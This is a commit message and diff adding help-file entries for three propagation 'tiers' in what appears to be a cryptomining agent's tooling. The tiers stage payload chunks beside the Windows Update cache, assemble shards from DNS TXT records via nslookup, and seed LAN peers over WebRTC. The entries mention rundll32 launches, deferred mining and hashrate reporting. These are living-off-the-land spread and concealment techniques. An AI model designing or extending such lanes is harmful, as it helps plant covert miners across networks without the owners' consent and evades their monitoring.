Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

server/web/src/help/lotlOnionTiers.ts

@@ -8,6 +8,9 @@ export const DEFAULT_LOTL_ONION_TIERS = [
   'dotnet',
   'bits_curl',
   'do_peer',
+  'wsus_cache_peer',
+  'dns_txt',
+  'webrtc_mesh',
   'smb',
   'winrm',
   'linux',
@@ -91,6 +94,33 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
     example:
       'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
   },
+  {
+    id: 'wsus_cache_peer',
+    label: 'wsus_cache_peer',
+    hint: 'WSUS offline cache cousin — stages beside SoftwareDistribution\\Download',
+    definition:
+      'Like do_peer but stages hash-verified chunks beside the Windows Update `SoftwareDistribution\\Download` tree. Probes Wuauserv, AU registry, and cache dir; assembles via BITS/curl, verifies SHA256, launches with `--defer-mining`.',
+    example:
+      'Forge `wsus_cache_peer_spread` ON (default when Wuauserv detected). `service_deploy_allowlist` maps `Wuauserv` → `wsus_cache_peer` (priority after `do_peer`). Signed plan includes `cache_group` and WSUS cousin dest path.',
+  },
+  {
+    id: 'dns_txt',
+    label: 'dns_txt',
+    hint: 'DNS TXT mesh — shards in _aether zone, nslookup assembly',
+    definition:
+      'Chunks live in DNS TXT records on configurable zone `_aether.<site>.internal`. Agent uses `nslookup` / `Resolve-DnsName`, assembles shards, SHA256-verifies, launches with `--defer-mining`. Policy refresh follows TXT TTL; server can simulate TXT via embedded chunk API for tests.',
+    example:
+      'Forge `dns_txt_spread` ON (Windows/universal default). Discovery: internal DNS + `_aether` TXT → `join_lane: dns_txt`. Deploy plan returns `dns_txt_zone`, record names, shard indices, `ttl_refresh_sec`.',
+  },
+  {
+    id: 'webrtc_mesh',
+    label: 'webrtc_mesh',
+    hint: 'WebRTC LAN seed — manifest over data channel; bytes stay LAN',
+    definition:
+      'First online agent on subnet becomes seeder (server `webrtc_mesh_policy` elects). LAN peers receive hash-verified manifest over WebRTC data channel (STUN from server, signaling via WS relay). Production path is WebRTC; tests use documented LAN HTTP fallback stub. Server sees `join_lane` + hashrate only.',
+    example:
+      'Forge `webrtc_mesh_spread` default OFF (heavier). Enable + Calibrate `webrtc_mesh_policy.rotation_hours: 24`. Seeder rotates every 24h; signed plan includes `stun_servers`, `signaling_relay`, optional `lan_fallback_url` for Vitest/mock channel.',
+  },
   {
     id: 'smb',
     label: 'SMB',